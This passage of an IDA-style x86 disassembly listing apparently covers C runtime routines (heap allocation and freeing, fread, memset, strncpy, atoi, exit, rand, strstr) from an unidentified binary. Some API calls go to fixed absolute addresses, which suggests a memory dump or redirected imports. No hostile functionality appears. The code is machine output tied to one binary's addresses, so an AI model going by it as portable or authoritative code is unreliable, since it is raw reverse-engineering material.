or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
nop
call near ptr 27B0000h
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; ___:0040FA8Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
nop
call near ptr 27C0000h
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 2840000h
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call near ptr 27C0000h
nop
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call near ptr 2840000h
nop
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 2840000h
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE48
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call near ptr 27C0000h
nop
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D084, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D084, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; ---------------------------------------------------------------------------
mov eax, off_43AE1C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: ___:0041C16Bj
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41C1B3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp
; sub_422DFC+21E6p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: ___:0041C199p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE24, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
call near ptr 27206A8h
nop
push eax
call near ptr 2710A1Ah
nop
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE20, edi
mov byte_4DBE1C, bl
jnz short loc_41C224
mov eax, dword_4DD39C
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD398
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD39C
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE24, edi
nop
call near ptr 77E75CB5h
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: ___:0041C179p
; ___:0041C188p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43AE00
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE00, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
; ---------------------------------------------------------------------------
